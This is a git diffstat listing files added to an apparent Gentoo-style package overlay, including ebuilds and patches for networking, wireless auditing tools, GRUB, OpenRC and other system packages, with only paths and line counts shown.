 net-misc/udpcast/udpcast-20120424.ebuild           |   31 +
 net-misc/xdman/Manifest                            |    2 +
 net-misc/xdman/xdman-1.0.ebuild                    |   45 +
 net-misc/xrdp/Manifest                             |    1 +
 net-misc/xrdp/xrdp-9999.ebuild                     |   94 +
 net-p2p/gnunet-gtk/ChangeLog                       |   21 +
 net-p2p/gnunet-gtk/Manifest                        |   20 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild         |   27 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild         |   39 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild    |   38 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild    |   39 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild        |   39 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild        |   39 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild         |   39 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild        |   39 +
 net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild    |   39 +
 net-p2p/gnunet-gtk/metadata.xml                    |   11 +
 net-p2p/gnunet-qt/ChangeLog                        |   14 +
 net-p2p/gnunet-qt/Manifest                         |    5 +
 net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild           |   49 +
 net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild          |   29 +
 net-p2p/gnunet/ChangeLog                           |   34 +
 net-p2p/gnunet/Manifest                            |   64 +
 net-p2p/gnunet/files/config-daemon.in.patch        |   10 +
 net-p2p/gnunet/files/gnunet                        |   31 +
 .../gnunet/files/gnunet-0.9.0_pre0-gentoo.patch    |   13 +
 .../gnunet/files/gnunet-0.9.0_pre2-gentoo.patch    |   13 +
 net-p2p/gnunet/files/gnunet-2                      |   32 +
 net-p2p/gnunet/files/gnunet-download-manager.scm   |  407 +
 net-p2p/gnunet/files/gnunet.initd                  |   32 +
 net-p2p/gnunet/files/gnunet.initd-0.9.0            |   38 +
 net-p2p/gnunet/files/gnunet.initd-0.9.0v2          |   35 +
 net-p2p/gnunet/gnunet-0.7.0b.ebuild                |  120 +
 net-p2p/gnunet/gnunet-0.7.0e.ebuild                |  121 +
 net-p2p/gnunet/gnunet-0.7.1.ebuild                 |  122 +
 net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild            |  122 +
 net-p2p/gnunet/gnunet-0.7.1a.ebuild                |  122 +
 net-p2p/gnunet/gnunet-0.7.1b.ebuild                |  122 +
 net-p2p/gnunet/gnunet-0.7.2b.ebuild                |  120 +
 net-p2p/gnunet/gnunet-0.7.2c.ebuild                |  121 +
 net-p2p/gnunet/gnunet-0.7.3.ebuild                 |  116 +
 net-p2p/gnunet/gnunet-0.8.0.ebuild                 |  107 +
 net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild            |  107 +
 net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild            |  107 +
 net-p2p/gnunet/gnunet-0.8.0a.ebuild                |  106 +
 net-p2p/gnunet/gnunet-0.8.0b.ebuild                |  107 +
 net-p2p/gnunet/gnunet-0.8.0c.ebuild                |  108 +
 net-p2p/gnunet/gnunet-0.8.1-r1.ebuild              |  105 +
 net-p2p/gnunet/gnunet-0.8.1.ebuild                 |  108 +
 net-p2p/gnunet/gnunet-0.8.1a.ebuild                |  102 +
 net-p2p/gnunet/gnunet-0.8.1b.ebuild                |  102 +
 net-p2p/gnunet/gnunet-0.9.0.ebuild                 |   78 +
 net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild            |   84 +
 net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild            |   84 +
 net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild            |   83 +
 net-p2p/gnunet/gnunet-0.9.1.ebuild                 |   78 +
 net-p2p/gnunet/gnunet-0.9.2.ebuild                 |   79 +
 net-p2p/gnunet/gnunet-0.9.3.ebuild                 |   81 +
 net-p2p/gnunet/gnunet-0.9.5a.ebuild                |   82 +
 net-p2p/gnunet/metadata.xml                        |    9 +
 net-p2p/kamailio/Manifest                          |    1 +
 net-p2p/kamailio/kamailio-9999.ebuild              |   29 +
 net-p2p/sopcast-bin/Manifest                       |    3 +
 net-p2p/sopcast-bin/metadata.xml                   |   10 +
 net-p2p/sopcast-bin/sopcast-bin-3.2.6.ebuild       |   35 +
 net-p2p/wuala/Manifest                             |    2 +
 net-p2p/wuala/wuala-0_pre20120716.ebuild           |   39 +
 net-print/hplip/Manifest                           |   22 +
 .../hplip/files/hplip-3.10.9-cve-2010-4267.patch   |   11 +
 net-print/hplip/files/hplip-3.11.1-desktop.patch   |   18 +
 net-print/hplip/files/hplip-3.11.1-htmldir.patch   |  109 +
 .../hplip/files/hplip-3.11.10-udev-attrs.patch     |  207 +
 net-print/hplip/files/hplip-3.9.10-browser.patch   |   38 +
 net-print/hplip/files/hplip-3.9.12-cupsddk.patch   |   23 +
 net-print/hplip/files/hplip-3.9.12-systray.patch   |   22 +
 net-print/hplip/hplip-3.12.10.ebuild               |  244 +
 net-print/hplip/hplip-3.12.10a-r1.ebuild           |  262 +
 net-print/hplip/hplip-3.12.10a.ebuild              |  251 +
 net-print/hplip/hplip-3.12.11-r1.ebuild            |  263 +
 net-print/hplip/hplip-3.12.11.ebuild               |  263 +
 net-print/hplip/hplip-3.12.4.ebuild                |  240 +
 net-print/hplip/hplip-3.12.9-r1.ebuild             |  243 +
 net-wireless/afrag/Manifest                        |    2 +
 net-wireless/afrag/afrag-0.1.ebuild                |   24 +
 net-wireless/aircrack-ng/Manifest                  |   12 +
 net-wireless/aircrack-ng/aircrack-ng-1.1-r6.ebuild |   82 +
 net-wireless/aircrack-ng/aircrack-ng-9999.ebuild   |   90 +
 .../files/aircrack-ng-1.1-respect_LDFLAGS.patch    |   91 +
 .../files/airdrop-ng-oui-path-fix.patch            |   13 +
 .../files/airodump-ng-oui-update-path-fix.patch    |   12 +
 .../files/airodump-ng.ignore-negative-one.v4.patch |  121 +
 .../files/changeset_r1921_backport.diff            |   60 +
 .../files/diff-wpa-migration-mode-aircrack-ng.diff |  872 ++
 net-wireless/aircrack-ng/files/eapol_fix.patch     |   20 +
 .../aircrack-ng/files/ignore-channel-1-error.patch |   65 +
 net-wireless/aircrack-ng/files/pic-fix.patch       |  175 +
 net-wireless/aircrackgui-m4/Manifest               |    2 +
 .../aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild     |   48 +
 net-wireless/airoscript/Manifest                   |    1 +
 net-wireless/airoscript/airoscript-9999.ebuild     |   29 +
 net-wireless/airpwn/Manifest                       |    2 +
 net-wireless/airpwn/airpwn-1.4-r1.ebuild           |   38 +
 net-wireless/b43-openfwwf/Manifest                 |    2 +
 net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild  |   21 +
 net-wireless/b43-tools/Manifest                    |    1 +
 net-wireless/b43-tools/b43-tools-9999.ebuild       |   72 +
 net-wireless/bluemaho/Manifest                     |    4 +
 net-wireless/bluemaho/bluemaho-090417-r1.ebuild    |   39 +
 net-wireless/bluemaho/files/bluemaho               |    4 +
 net-wireless/bluemaho/files/btftp-libxml.patch     |   21 +
 net-wireless/broadcom-firmware-downloader/Manifest |    5 +
 .../broadcom-firmware-downloader-0.1-r2.ebuild     |   29 +
 .../broadcom-firmware-downloader-0.2.ebuild        |   29 +
 net-wireless/broadcom-firmware-installer/Manifest  |    2 +
 .../broadcom-firmware-installer-0.1-r3.ebuild      |   51 +
 .../broadcom-firmware-installer-0.2.ebuild         |   51 +
 net-wireless/bt-audit/Manifest                     |    2 +
 net-wireless/bt-audit/bt-audit-0.1.1-r1.ebuild     |   30 +
 net-wireless/btscanner/Manifest                    |    2 +
 net-wireless/btscanner/btscanner-2.1-r4.ebuild     |   39 +
 net-wireless/compat-wireless-builder/Manifest      |   50 +
 .../compat-wireless-builder-3.3.6.ebuild           |  217 +
 .../compat-wireless-builder-3.4_rc3.ebuild         |  217 +
 .../compat-wireless-builder-3.4_rc7.ebuild         |  217 +
 net-wireless/compat-wireless-builder/files         |    1 +
 net-wireless/compat-wireless/Manifest              |  107 +
 .../compat-wireless-2.6.32.8.ebuild                |   80 +
 .../compat-wireless-2.6.33-r1.ebuild               |   86 +
 .../compat-wireless-2.6.34-r2.ebuild               |  105 +
 .../compat-wireless-2.6.35-r1.ebuild               |  147 +
 .../compat-wireless/compat-wireless-2.6.36.ebuild  |  137 +
 .../compat-wireless-2.6.37-r7.ebuild               |  139 +
 .../compat-wireless-2.6.37-r8.ebuild               |  147 +
 .../compat-wireless-2.6.38.2-r1.ebuild             |  142 +
 .../compat-wireless-2.6.39-r1.ebuild               |  137 +
 .../compat-wireless/compat-wireless-3.0.ebuild     |  170 +
 .../compat-wireless/compat-wireless-3.1.1.ebuild   |  176 +
 .../compat-wireless/compat-wireless-3.2.5.ebuild   |  176 +
 .../compat-wireless/compat-wireless-3.2.ebuild     |  176 +
 .../compat-wireless/compat-wireless-3.3-r1.ebuild  |  170 +
 .../compat-wireless/compat-wireless-3.3.ebuild     |  169 +
 .../compat-wireless-3.4_rc1-r1.ebuild              |  159 +
 .../compat-wireless/compat-wireless-3.4_rc1.ebuild |  164 +
 .../compat-wireless/compat-wireless-3.4_rc3.ebuild |  156 +
 .../compat-wireless/compat-wireless-3.5-r1.ebuild  |  170 +
 .../compat-wireless/compat-wireless-3.5.4.ebuild   |  173 +
 .../compat-wireless/compat-wireless-3.5.ebuild     |  169 +
 .../compat-wireless/compat-wireless-3.5_rc3.ebuild |  155 +
 .../compat-wireless/compat-wireless-3.6.2.ebuild   |  179 +
 .../compat-wireless-3.6.6-r1.ebuild                |  181 +
 .../compat-wireless/compat-wireless-3.6.6.ebuild   |  179 +
 .../compat-wireless/compat-wireless-3.6_rc5.ebuild |  172 +
 .../compat-wireless/compat-wireless-3.6_rc7.ebuild |  179 +
 .../0001-ath5k-retain-promiscuous-setting.patch    |   48 +
 .../4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch  |   27 +
 ...0211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch |   17 +
 .../files/4004_zd1211rw-2.6.28.patch               |   37 +
 .../4005_ath5k-frequency-expansion-2.6.30.patch    |  132 +
 .../files/4007_ath5k-pass-failed-crc.patch         |   15 +
 .../4012_openwrt-b43-disable_qos_when_openfw.patch |   12 +
 ...able-disable-of-mac80211-packet-injection.patch |   37 +
 .../4099-2.6.32-rc7-mac80211-security-fixes.patch  |  159 +
 .../compat-wireless/files/WEXT-EXT-nuts.patch      |   71 +
 .../files/ath9k_htc_ethtool_driver.patch           |   37 +
 .../compat-wireless/files/ath_ignore_eeprom.patch  |   70 +
 .../compat-wireless/files/ath_regd_optional.patch  |   39 +
 net-wireless/compat-wireless/files/blinky.patch    |   11 +
 .../files/channel-negative-one-maxim.patch         |   38 +
 .../compat-wireless/files/compat-chaos.patch       |  166 +
 .../compat-wireless/files/compat-sched.patch       |   10 +
 .../files/compat-wireless-3.5-grsec.patch          |  398 +
 .../files/compat-wireless-3.5-grsec2.patch         |   33 +
 .../files/compat-wireless-3.5.4-grsec.patch        | 9033 +++++++++++++++++++
 .../files/compat-wireless-3.6-grsec.patch          |   51 +
 .../files/compat-wireless-3.6-zc-grsec.patch       | 9057 ++++++++++++++++++++
 .../compat-wireless-3.6.6-grsec-warnings.patch     |  177 +
 .../files/compat-wireless-3.6.6-grsec.patch        | 8363 ++++++++++++++++++
 .../compat-wireless/files/driver-debug.patch       |  120 +
 .../failed_ath5k-frequency-chaos-2.6.28.patch      |  152 +
 .../files/failed_ieee80211_inject-2.6.22.patch     |   26 +
 .../files/failed_linux-wlanng-kernel-2.6.28.patch  |  299 +
 ...inoco-remove-all-which-are-in-hostap-HACK.patch |   80 +
 .../files/fix-typos-2.6.35_rc2.patch               |   24 +
 .../files/fix-typos-2.6.36_rc5.patch               |   12 +
 .../files/force-enable-new-ralink-2.6.38_rc3.patch |   25 +
 .../force-enable-new-ralink-pci-2.6.36-rc5.patch   |   14 +
 .../files/force-enable-new-ralink-pci.patch        |   16 +
 .../files/force-enable-new-ralink.patch            |   16 +
 .../files/ipw2200-inject.2.6.36.patch              |  116 +
 .../files/ipw2200-inject.3.4.6.patch               |  120 +
 .../files/iwlwifi-5000-exp-firmware.patch          |   13 +
 .../compat-wireless/files/johill-negone-paul.patch |   75 +
 .../compat-wireless/files/johill-negone.patch      |   84 +
 net-wireless/compat-wireless/files/led-oops.patch  |   22 +
 .../files/leds-disable-strict-3.6.6.patch          |   30 +
 .../files/leds-disable-strict.patch                |   64 +
 .../compat-wireless/files/leds-disable.patch       |   56 +
 .../files/linville-aircrack-ng.patch               |   61 +
 .../mac80211.compat08082009.wl_frag+ack_v1.patch   |   27 +
 net-wireless/compat-wireless/files/make-make.patch |   12 +
 ...o-remove-all-which-are-in-hostap-OFFICIAL.patch |  191 +
 .../compat-wireless/files/reinette-test2.patch     |   36 +
 ...l8187-mac80211-injection-speed-2.6.30-rc3.patch |   30 +
 .../compat-wireless/files/super_secret_patch.diff  |  453 +
 .../files/ubnt-wifi-station-ext2.patch             |   20 +
 .../compat-wireless/files/whynot-2.6.31.patch      |  129 +
 .../compat-wireless/files/whynot-2.6.32.patch      |   18 +
 net-wireless/compat-wireless/files/whynot.patch    |  122 +
 .../files/wl1251-inject-2.6.37.patch               | 1685 ++++
 net-wireless/compat-wireless/metadata.xml          |    7 +
 net-wireless/cowpatty/Manifest                     |    7 +
 net-wireless/cowpatty/cowpatty-4.3-r2.ebuild       |   28 +
 net-wireless/cowpatty/cowpatty-4.6-r4.ebuild       |   28 +
 .../cowpatty/files/cowpatty-4.3-fixup2.patch       |  221 +
 .../cowpatty/files/cowpatty-4.3-hashfix.patch      |   12 +
 .../cowpatty/files/cowpatty-4.6-fixup14.patch      |  346 +
 net-wireless/crda/Manifest                         |    4 +
 net-wireless/crda/crda-1.1.0-r1.ebuild             |   39 +
 net-wireless/crda/crda-1.1.1.ebuild                |   29 +
 net-wireless/dedected/Manifest                     |    3 +
 net-wireless/dedected/dedected-9999.ebuild         |   55 +
 net-wireless/dedected/files/99-dect.rules          |    2 +
 net-wireless/dedected/files/load-dect.sh           |    8 +
 net-wireless/desknfc/Manifest                      |    1 +
 net-wireless/desknfc/desknfc-9999.ebuild           |   20 +
 net-wireless/fern-wifi-cracker/Manifest            |    4 +
 .../fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild |   52 +
 .../fern-wifi-cracker/files/fern-wifi-cracker      |    3 +
 .../files/fern-wifi-cracker.desktop                |   11 +
 net-wireless/gqrx/Manifest                         |    1 +
 net-wireless/gqrx/gqrx-9999.ebuild                 |   27 +
 net-wireless/gr-air-modes/Manifest                 |    3 +
 net-wireless/gr-air-modes/files/modes.py           |    6 +
 net-wireless/gr-air-modes/files/rtl_modes.py       |    2 +
 net-wireless/gr-air-modes/gr-air-modes-9999.ebuild |   43 +
 net-wireless/grimwepa/Manifest                     |    5 +
 net-wireless/grimwepa/files/grimwepa.conf          |   12 +
 net-wireless/grimwepa/files/grimwepa.desktop       |   14 +
 net-wireless/grimwepa/files/grimwepa.sh            |    3 +
 net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild |   36 +
 net-wireless/haraldscan/Manifest                   |    4 +
 .../haraldscan/files/haraldscan-maclist-path.patch |   11 +
 net-wireless/haraldscan/haraldscan-0.41.ebuild     |   59 +
 net-wireless/horst/Manifest                        |    2 +
 net-wireless/horst/horst-3.0.ebuild                |   31 +
 net-wireless/hostapd/ChangeLog                     |  579 ++
 net-wireless/hostapd/Manifest                      |   14 +
 net-wireless/hostapd/files/cui-20120417.patch      |  451 +
 net-wireless/hostapd/files/cui-20120717.patch      |  451 +
 .../hostapd/files/hostapd-0.7.3-karma.patch        |  481 ++
 .../hostapd/files/hostapd-1.0-karma-0.2.patch      | 1199 +++
 net-wireless/hostapd/files/hostapd-1.0-karma.patch |  465 +
 .../hostapd/files/hostapd-1.0-libnl_path_fix.patch |   24 +
 .../hostapd/files/hostapd-1.0-tls_length_fix.patch |   48 +
 net-wireless/hostapd/files/hostapd-conf.d          |    9 +
 net-wireless/hostapd/files/hostapd-init.d          |   50 +
 net-wireless/hostapd/hostapd-1.0-r4.ebuild         |  207 +
 net-wireless/hostapd/hostapd-1.0-r5.ebuild         |  207 +
 net-wireless/hostapd/metadata.xml                  |   21 +
 .../intel-wimax-binary-supplicant/Manifest         |    4 +
 .../files/50-intel-wimax-binary-supplicant         |    1 +
 .../files/install-to-usr-lib.patch                 |   12 +
 .../intel-wimax-binary-supplicant-1.4.0.ebuild     |   29 +
 net-wireless/intel-wimax-network-service/Manifest  |    4 +
 .../intel-wimax-network-service/files/wimax        |   21 +
 .../intel-wimax-network-service-1.4.0-r1.ebuild    |   37 +
 .../intel-wimax-network-service-1.4.0.ebuild       |   34 +
 net-wireless/intel-wimax-tools/Manifest            |    4 +
 .../intel-wimax-tools-1.4.2.1.ebuild               |   35 +
 .../intel-wimax-tools-1.4.2.ebuild                 |   35 +
 net-wireless/ipw2200/ChangeLog                     |  396 +
 net-wireless/ipw2200/Manifest                      |    5 +
 net-wireless/ipw2200/files/digest-ipw2200-1.2.0    |    3 +
 .../ipw2200/files/ipw2200-1.2.0-inject.patch       |   98 +
 .../ipw2200/files/ipw2200-1.2.0-modverdir.patch    |   20 +
 net-wireless/ipw2200/ipw2200-1.2.0.ebuild          |   87 +
 net-wireless/karmetasploit/Manifest                |    4 +
 net-wireless/karmetasploit/files/karma.rc          |   80 +
 .../karmetasploit/files/karmeta-dhcpd.conf         |   16 +
 net-wireless/karmetasploit/files/karmeta.sh        |   34 +
 .../karmetasploit/karmetasploit-0.1-r2.ebuild      |   26 +
 net-wireless/killerbee/Manifest                    |    1 +
 net-wireless/killerbee/killerbee-9999.ebuild       |   47 +
 net-wireless/kismet-dect/Manifest                  |    1 +
 net-wireless/kismet-dect/kismet-dect-9999.ebuild   |   38 +
 net-wireless/libfreefare/Manifest                  |    2 +
 net-wireless/libfreefare/libfreefare-0.3.2.ebuild  |   21 +
 net-wireless/linux-wlan-ng-modules/Manifest        |    3 +
 .../files/digest-linux-wlan-ng-modules-0.2.5       |    3 +
 .../files/linux-wlan-0.2.3.packet.injection.patch  |  303 +
 .../linux-wlan-ng-modules-0.2.5.ebuild             |   90 +
 net-wireless/lorcon-old/Manifest                   |    1 +
 net-wireless/lorcon-old/lorcon-old-9999.ebuild     |   25 +
 net-wireless/lorcon/Manifest                       |    1 +
 net-wireless/lorcon/lorcon-9999.ebuild             |   95 +
 net-wireless/mdk/Manifest                          |    3 +
 net-wireless/mdk/files/fix_wids_mdk3_v5.patch      |   21 +
 net-wireless/mdk/mdk-3.6.ebuild                    |   37 +
 net-wireless/mfoc/Manifest                         |    3 +
 net-wireless/mfoc/files/mfoc-libnfc-1.5.1.patch    |  217 +
 net-wireless/mfoc/mfoc-0.10.2.ebuild               |   28 +
 net-wireless/nfcd/Manifest                         |    1 +
 net-wireless/nfcd/nfcd-9999.ebuild                 |   27 +
 net-wireless/op25/Manifest                         |    1 +
 net-wireless/op25/op25-9999.ebuild                 |   76 +
 net-wireless/prism54/ChangeLog                     |   49 +
 net-wireless/prism54/Manifest                      |    5 +
 net-wireless/prism54/files/digest-prism54-20050724 |    3 +
 .../prism54/files/prism54-svn-20050724.patch       |   13 +
 net-wireless/prism54/metadata.xml                  |   10 +
 net-wireless/prism54/prism54-20050724.ebuild       |   48 +
 net-wireless/ralink-firmware/Manifest              |    5 +
 .../ralink-firmware-20090213.ebuild                |   32 +
 net-wireless/reaver/ChangeLog                      |   10 +
 net-wireless/reaver/Manifest                       |   12 +
 .../files/0001-wpscrack-big-endian-fixes.patch     |  565 ++
 ...rent-directory-for-storing-and-loading-se.patch |   53 +
 ...-use-less-useless-spaces-in-output-to-fit.patch |   38 +
 .../reaver/files/0004-wash-probe-request.patch     |   31 +
 .../reaver/files/0005-soreau-show-status-r2.patch  |   97 +
 .../reaver/files/0005-soreau-show-status.patch     |   97 +
 net-wireless/reaver/metadata.xml                   |   11 +
 net-wireless/reaver/reaver-1.4-r1.ebuild           |   38 +
 net-wireless/reaver/reaver-1.4-r2.ebuild           |   40 +
 net-wireless/reaver/reaver-1.4-r3.ebuild           |   40 +
 net-wireless/rfidtool/Manifest                     |    2 +
 net-wireless/rfidtool/rfidtool-0.01.ebuild         |   26 +
 net-wireless/sdrsharp/ChangeLog                    |   12 +
 net-wireless/sdrsharp/Manifest                     |    4 +
 net-wireless/sdrsharp/files/sdrsharp               |    2 +
 net-wireless/sdrsharp/metadata.xml                 |   12 +
 net-wireless/sdrsharp/sdrsharp-9999.ebuild         |   43 +
 net-wireless/ska/Manifest                          |    2 +
 net-wireless/ska/files/digest-ska-0.2              |    3 +
 net-wireless/ska/ska-0.2.ebuild                    |   23 +
 net-wireless/virtualradar-bin/Manifest             |    5 +
 net-wireless/virtualradar-bin/files/virtualradar   |    2 +
 .../virtualradar-bin/virtualradar-bin-1.0.5.ebuild |   27 +
 .../virtualradar-bin/virtualradar-bin-9999.ebuild  |   26 +
 net-wireless/wepcrackgui/Manifest                  |    1 +
 net-wireless/wepcrackgui/wepcrackgui-9999.ebuild   |   67 +
 net-wireless/wifitap/Manifest                      |    2 +
 net-wireless/wifitap/wifitap-0.4.0-r4.ebuild       |   42 +
 net-wireless/wifite/Manifest                       |   10 +
 net-wireless/wifite/files/wifite-2-noupgrade.patch |   11 +
 net-wireless/wifite/files/wifite-noupgrade.patch   |   21 +
 net-wireless/wifite/metadata.xml                   |   19 +
 net-wireless/wifite/wifite-0.84.ebuild             |   45 +
 net-wireless/wifite/wifite-2.0_beta_p10.ebuild     |   42 +
 net-wireless/wifite/wifite-2.85-r1.ebuild          |   48 +
 net-wireless/wifite/wifite-2.85.ebuild             |   47 +
 net-wireless/wireless-regdb/Manifest               |   13 +
 .../files/extra-monitor-20090817.patch             |   51 +
 .../files/extra-monitor-20091125.patch             |   51 +
 .../wireless-regdb/files/extra-monitor-debug.patch |   34 +
 .../wireless-regdb/files/extra-monitor.patch       |   19 +
 .../wireless-regdb-20090130-r1.ebuild              |   38 +
 .../wireless-regdb/wireless-regdb-20090309.ebuild  |   38 +
 .../wireless-regdb/wireless-regdb-20090817.ebuild  |   37 +
 .../wireless-regdb-20091125-r1.ebuild              |   39 +
 .../wireless-regdb/wireless-regdb-20091125.ebuild  |   39 +
 overlay.xml                                        |   15 +
 profiles/categories                                |   15 +
 profiles/repo_name                                 |    1 +
 repository.xml                                     |   19 +
 sci-libs/gsl-empty/Manifest                        |    6 +
 sci-libs/gsl-empty/files/cblas.pc.in               |   12 +
 sci-libs/gsl-empty/files/eselect.cblas.gsl         |    5 +
 sci-libs/gsl-empty/files/gsl-1.15-cblas.patch      |  286 +
 sci-libs/gsl-empty/gsl-empty-1.15.ebuild           |  112 +
 sci-libs/gsl-empty/metadata.xml                    |   22 +
 sci-libs/gsl/Manifest                              |    1 +
 sci-libs/gsl/files/cblas.pc.in                     |   12 +
 sci-libs/gsl/files/eselect.cblas.gsl               |    5 +
 sci-libs/gsl/files/gsl-1.15-cblas.patch            |  286 +
 sci-libs/gsl/gsl-1.15.ebuild                       |  109 +
 sci-libs/gsl/metadata.xml                          |   22 +
 sets/X                                             |   46 +
 sets/claws-plugins                                 |   17 +
 sets/e17                                           |    4 +
 sets/entropy                                       |   11 +
 sets/entropy-no-kde                                |   10 +
 sets/fluxbox                                       |    3 +
 sets/gnome                                         |   15 +
 sets/gst-plugins                                   |    7 +
 sets/gst-plugins-extra                             |    5 +
 sets/ime-fonts                                     |    4 +
 sets/ime-fonts-support                             |    7 +
 sets/intel-kernels                                 |    4 +
 sets/lxde                                          |    5 +
 sets/packagekit                                    |    4 +
 sets/rogentos-artwork                              |    8 +
 sets/wireless                                      |   12 +
 sets/xfce                                          |   10 +
 sys-apps/baselayout/Manifest                       |   11 +
 sys-apps/baselayout/baselayout-2.0.3-r1.ebuild     |  243 +
 sys-apps/baselayout/baselayout-2.1.ebuild          |  245 +
 sys-apps/baselayout/baselayout-2.2.ebuild          |  265 +
 .../files/baselayout-1.12.14-iproute.patch         |   18 +
 .../files/baselayout-2.0.1-proc_touch.patch        |   16 +
 .../files/baselayout-2.0.3-slash-run-dir.patch     |   12 +
 .../files/baselayout-rogentos-os-release.patch     |   16 +
 sys-apps/baselayout/metadata.xml                   |    5 +
 sys-apps/gpu-detector/Manifest                     |    5 +
 sys-apps/gpu-detector/files/gpu-configuration      |  776 ++
 sys-apps/gpu-detector/gpu-detector-2.5.0-r3.ebuild |   39 +
 sys-apps/gpu-detector/gpu-detector-2.6-r2.ebuild   |   38 +
 sys-apps/gpu-detector/gpu-detector-2.6-r6.ebuild   |   37 +
 sys-apps/gpu-detector/gpu-detector-3.ebuild        |   24 +
 sys-apps/lsb-release/Manifest                      |    4 +
 .../files/lsb-release-rogentos-version.patch       |   12 +
 sys-apps/lsb-release/lsb-release-1.4.ebuild        |   38 +
 sys-apps/lsb-release/metadata.xml                  |   19 +
 sys-apps/openrc/Manifest                           |    7 +
 sys-apps/openrc/Reasons                            |    5 +
 ...e-systemd-cgroup-from-the-current-process.patch |   34 +
 ...pport-EFI-variable-access-in-3.10-kernels.patch |   41 +
 ...openrc-0.5.3-disable_warns_until_migrated.patch |   16 +
 ...openrc-0.6.1-fix-clockskew-error-handling.patch |   12 +
 .../openrc/files/openrc-0.6.1-network-syntax.patch |   14 +
 sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch  |   57 +
 .../files/openrc-0.8.3-deprecation_warning.patch   |   33 +
 ...-not-print-error-if-tmplog-cannot-be-read.patch |   25 +
 sys-apps/openrc/files/openrc-9999-pause.patch      |   29 +
 .../openrc/files/openrc-enable-interactive-2.patch |   11 +
 .../openrc/files/openrc-enable-interactive.patch   |   11 +
 sys-apps/openrc/files/openrc-netmount-fix.patch    |   11 +
 .../openrc-protect-rcsvcdir-for-symlink.patch      |   30 +
 .../openrc/files/openrc-sabayon-config-2.patch     |   31 +
 sys-apps/openrc/files/openrc-sabayon-config.patch  |   35 +
 sys-apps/openrc/files/openrc.logrotate             |    7 +
 sys-apps/openrc/files/start-stop-daemon.pam        |    2 +
 sys-apps/openrc/metadata.xml                       |    5 +
 sys-apps/openrc/openrc-0.10.5.ebuild               |  471 +
 sys-apps/openrc/openrc-0.11.8.ebuild               |  512 ++
 sys-apps/openrc/openrc-0.12.4.ebuild               |  356 +
 sys-apps/openrc/openrc-0.12_pre1-r1.ebuild         |  518 ++
 sys-apps/openrc/openrc-0.12_pre1-r2.ebuild         |  520 ++
 sys-apps/openrc/openrc-0.12_pre1.ebuild            |  515 ++
 sys-apps/openrc/openrc-0.8.2-r1.ebuild             |  458 +
 sys-apps/openrc/openrc-0.8.3-r1.ebuild             |  459 +
 sys-apps/openrc/openrc-0.9.8.1.ebuild              |  457 +
 sys-apps/openrc/openrc-0.9.9.3.ebuild              |  461 +
 sys-boot/grub-handler/Manifest                     |    2 +
 sys-boot/grub-handler/files/grub-handler           |  318 +
 sys-boot/grub-handler/grub-handler-0.2-r6.ebuild   |   20 +
 sys-boot/grub/Manifest                             |    4 +
 sys-boot/grub/files/00_fonts                       |   14 +
 sys-boot/grub/files/05_distro_theme                |   51 +
 sys-boot/grub/files/grub-0.97-gfxmenu-v8.patch     | 1003 +++
 sys-boot/grub/files/grub-0.97-uuid.patch           | 5406 ++++++++++++
 sys-boot/grub/files/grub-0.97-uuid_doc.patch       |   38 +
 sys-boot/grub/files/grub-1.96-genkernel.patch      |   19 +
 sys-boot/grub/files/grub-1.97-genkernel.patch      |   28 +
 sys-boot/grub/files/grub-1.97-hostdisk.patch       |   60 +
 sys-boot/grub/files/grub-1.97-vga-deprecated.patch |   12 +
 .../grub-1.97-wallpaper-settings-support.patch     |   15 +
 .../grub-1.98-add-legacy-rootfs-detection.patch    |   83 +
 .../grub-1.98-follow-dev-mapper-symlinks.patch     |   25 +
 .../grub-1.98-genkernel-initramfs-single.patch     |   11 +
 sys-boot/grub/files/grub-1.98-genkernel.patch      |   28 +
 .../grub-1.98-wallpaper-settings-support.patch     |   15 +
 .../grub/files/grub-1.99-disable-floppies.patch    |   28 +
 sys-boot/grub/files/grub-1.99-genkernel.patch      |   11 +
 .../files/grub-1.99-vga-deprecated-not-yet.patch   |   14 +
 sys-boot/grub/files/grub-1.99-vga-deprecated.patch |   12 +
 .../grub-1.99-wallpaper-settings-support.patch     |   15 +
 .../files/grub-1.99-workaround-raid-bios-bug.patch |   17 +
 sys-boot/grub/files/grub-2.00-20_linux_xen.patch   |   14 +
 sys-boot/grub/files/grub-2.00-compression.patch    |   84 +
 sys-boot/grub/files/grub-2.00-config-quoting.patch |  113 +
 sys-boot/grub/files/grub-2.00-dmraid.patch         |   28 +
 sys-boot/grub/files/grub-2.00-freebsd.patch        |  382 +
 .../grub-2.00-genkernel-initramfs-single.patch     |   11 +
 sys-boot/grub/files/grub-2.00-hardcoded-awk.patch  |   15 +
 sys-boot/grub/files/grub-2.00-no-gets.patch        |   22 +
 .../files/grub-2.00-os-prober-efi-system.patch     |   27 +
 sys-boot/grub/files/grub-2.00-parallel-make.patch  |   46 +
 sys-boot/grub/files/grub-2.00-rogentos-patch.patch |   10 +
 .../files/grub-2.00-secureboot-user-sign-2.patch   |   64 +
 .../files/grub-2.00-secureboot-user-sign.patch     |   42 +
 sys-boot/grub/files/grub-2.00-texinfo.patch        |   16 +
 sys-boot/grub/files/grub-2.00-tftp-endian.patch    |   24 +
 .../files/grub-2.00-vga-deprecated-not-yet.patch   |   13 +
 .../grub-2.00-wallpaper-settings-support.patch     |   14 +
